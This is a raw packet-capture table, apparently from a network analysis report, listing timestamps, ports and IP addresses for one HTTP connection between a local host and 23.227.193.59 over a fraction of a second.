Jul 15, 2024 00:48:33.909291029 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.909303904 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.909316063 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.909327984 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.909332037 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.909341097 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.909353971 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.909360886 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.909379959 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.909449100 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.909462929 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.909499884 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.909676075 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.909687996 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.909697056 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.909708977 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.909722090 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.909723997 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.909733057 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.909754038 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.909756899 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.909765959 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.909768105 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.909779072 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.909795046 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.909822941 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.909847975 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.909858942 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.909871101 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.909898996 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.909924030 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.909934998 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.909945965 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.909959078 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.909979105 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.909984112 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.909996033 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.910003901 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.910007954 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.910029888 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.910043001 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.910057068 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.910068035 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.910078049 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.910090923 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.910105944 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.910125971 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.910134077 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.910145998 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.910176992 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.910219908 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.910232067 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.910243034 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.910254955 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.910267115 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.910269976 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.910280943 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.910346031 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.910357952 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.910367966 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.910379887 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.910392046 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.910418034 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.910429955 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.910440922 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.910450935 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.910464048 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.910474062 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.910496950 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.910654068 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.910665035 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.910676003 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.910689116 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.910697937 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.910701990 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.910715103 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.910723925 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.910728931 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.910738945 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.910742998 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.910757065 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.910767078 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.910792112 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.910836935 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.910849094 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.910860062 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.910871029 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.910878897 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.910882950 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.910898924 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.910912991 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.910938025 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.910974979 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.910986900 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.910998106 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.911010027 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.911016941 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.911021948 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.911036968 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.911061049 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.911087036 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.911113024 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.911125898 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.911135912 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.911149025 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.911159039 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.911161900 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.911175013 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.911180019 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.911217928 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.911286116 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.911297083 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.911308050 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.911319017 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.911334038 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.911339045 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.911350965 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.911355019 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.911364079 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.911375999 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.911391973 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.911415100 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.911504984 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.911515951 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.911525965 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.911539078 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.911547899 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.911550999 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.911564112 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.911587954 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.911608934 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.911665916 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.911679029 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.911690950 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.911701918 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.911710978 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.911736012 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.911736965 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.911748886 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.911761045 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.911798000 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.911915064 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.911926985 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.911936998 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.911947966 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.911957026 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.911967993 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.911974907 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.911988020 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.911998987 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.912010908 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.912018061 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.912023067 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.912039995 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.912065983 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.912214041 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.912225962 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.912236929 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.912249088 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.912259102 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.912292004 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.912534952 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.912548065 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.912558079 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.912568092 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.912580967 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.912604094 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.000006914 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.000021935 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.000032902 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.000044107 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.000096083 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.000138998 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.004867077 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.004880905 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.004890919 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.004903078 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.004914045 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.004929066 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.004967928 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.009972095 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.009985924 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.009995937 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.010006905 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.010019064 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.010035038 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.010065079 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.010066032 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.015423059 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.015435934 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.015444994 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.015456915 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.015466928 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.015479088 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.015480042 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.015501976 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.015525103 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.022026062 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.022038937 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.022049904 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.022062063 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.022072077 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.022083044 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.022082090 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.022105932 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.022125006 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.026881933 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.026895046 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.026905060 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.026916981 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.026927948 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.026936054 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.026971102 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.031702995 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.031730890 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.031742096 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.031754971 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.031757116 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.031779051 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.036535025 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.036547899 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.036557913 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.036569118 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.036578894 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.036590099 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.036623001 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.041382074 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.041395903 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.041405916 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.041418076 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.041429043 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.041438103 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.041451931 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.046212912 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.046226025 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.046236038 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.046247959 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.046258926 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.046268940 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.046288013 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.046304941 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.051259041 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.051273108 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.051311970 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.051666021 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.051678896 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.051687956 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.051709890 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.056375980 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.056416988 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.056428909 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.056447029 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.056474924 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.056545973 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.056559086 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.056590080 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.061274052 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.061286926 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.061297894 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.061311960 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.061321974 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.061326981 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.061359882 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.066061974 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.066076040 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.066102028 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.066112995 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.066220999 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.070832014 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.070843935 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.070853949 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.070868015 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.070879936 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.070894957 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.070915937 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.075637102 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.075649977 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.075659037 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.075670004 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.075683117 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.075695992 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.075709105 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.080364943 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.080385923 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.080396891 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.080408096 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.080420971 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.080421925 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.080451965 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.080487967 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.085562944 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.085577965 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.085587978 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.085601091 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.085613012 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.085613012 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.085637093 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.090814114 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.090826035 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.090837002 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.090847969 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.090863943 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.090888977 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.095838070 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.095850945 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.095896006 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.096004009 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.096015930 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.096025944 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.096056938 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.096069098 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.101008892 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.101022005 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.101032972 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.101044893 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.101056099 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.101066113 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.101104021 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.106379032 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.106390953 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.106403112 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.106415987 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.106429100 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.106441975 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.111196041 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.111211061 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.111222982 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.111234903 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.111246109 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.111284018 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.111336946 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.116106033 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.116120100 CEST	80	57614	23.227.193.59	192.168.2.5
